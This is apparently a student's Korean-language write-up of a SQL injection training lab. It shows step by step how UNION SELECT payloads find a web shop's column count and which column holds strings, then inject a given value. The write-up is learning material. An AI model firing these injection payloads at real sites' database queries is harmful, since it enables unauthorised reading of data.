This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.
The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.
lab에 들어가면 가상 shop 사이트가 나온다. 그리고 반환되어야 하는 값(P6FTSc)이 나와있다.
category filter에 SQL injection 취약점이 있다.
이번에는 문자열 데이터와 호환되는 columns을 확인한다.
목표
SQL injection UNION 공격을 이용해서 반환값에P6FTSc
값이 포함되서 나오게 한다.
먼저 category부분에 취약점이 있다고 하니까, burpsuite repeater를 이용하여 SQL injection UNION 공격으로 null값을 하나씩 넣으면서 columns 개수를 확인한다.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
null을 넣어서 확인해 보면 columns 개수가 3개라는 것을 알 수 있다.
'+UNION+SELECT+null,null,null--
이번에는 columns이 문자열 데어터로 나올 수 있는 곳이 어디인지 확인하기 위해 다음 페이로드를 넣어본다.
+UNION+SELECT+'a',null,null--
오류가 나온다. 그 말은 즉 첫번째 columns은 문자열 데이터와 호환하지 않는다는 것이다. 다음은 임의의 문자열 데이터a
를 하나씩 옮기면서 어느 columns이 문자열 데이터와 호환이 가능한지 확인한다.
' UNION SELECT 'a', NULL, NULL--
' UNION SELECT NULL, 'a', NULL--
' UNION SELECT NULL, NULL, 'a'--
임의의 문자열 데이터를 넣어서 확인하면 두번째 columns이 문자열 데이터와 호환한다는 것을 알 수 있다.
+UNION+SELECT+null,'a',null--
어느 columns이 문자열 데이터와 호환하는지 알았으니, burpsuite proxy에서 해당 columns값에 P6FTSc
을 넣고 보낸 뒤에 intercepte를 끄면 문제가 풀린다.
'+union+select+null,'P6FTSc',null--